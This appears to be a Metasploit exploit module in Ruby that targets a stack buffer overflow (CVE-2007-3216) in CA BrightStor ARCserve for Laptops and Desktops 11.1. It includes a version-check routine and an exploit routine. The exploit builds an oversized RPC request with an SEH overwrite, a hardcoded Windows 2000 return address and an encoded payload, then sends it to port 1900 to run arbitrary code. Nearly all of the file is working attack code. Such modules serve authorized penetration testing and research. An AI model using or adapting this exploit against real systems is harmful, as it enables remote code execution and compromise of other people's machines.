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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Multiple Commands Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
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        for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,
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        an attacker could overflow the buffer and execute arbitrary code.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2007-3216' ],
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          [ 'OSVDB', '35329' ],
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          [ 'BID', '24348' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 400,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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      'Platform' => 'win',
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      'Targets'  =>
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        [
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          [ 'Windows 2000 SP4 English',	{ 'Ret' => 0x75022ac4 } ],
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        ],
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      'DisclosureDate' => '2007-06-06',
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      'DefaultTarget' => 0))
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    register_options([ Opt::RPORT(1900) ])
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  end
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  def check
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    connect
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    sock.put("0000000019rxrGetServerVersion")
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    ver = sock.get_once
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    disconnect
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    if ( ver and ver =~ /11\.1\.742/ )
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        return Exploit::CheckCode::Appears
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    rpc_commands = [
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        "rxsAddNewUser",
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        "rxsSetUserInfo",
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        "rxsRenameUser",
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        "rxsExportData",
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        "rxcReadSaveSetProfile",
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        "rxcInitSaveSetProfile",
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        "rxcAddSaveSetNextAppList",
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        "rxcAddSaveSetNextFilesPathList"
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      ]
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    rpc_command = rpc_commands[rand(rpc_commands.length)]
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    data = rand_text_alpha_upper(62768)
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    data[58468,8] = generate_seh_record(target.ret)
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    data[58476,payload.encoded.length] = payload.encoded
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    sploit  = "0000062768"				# Command Length Field
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    sploit << rpc_command				# RPC Command
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    sploit << "~~"					# Constant Argument Delimiter
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    sploit << data
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    print_status("Trying target #{target.name} with command '#{rpc_command}'...")
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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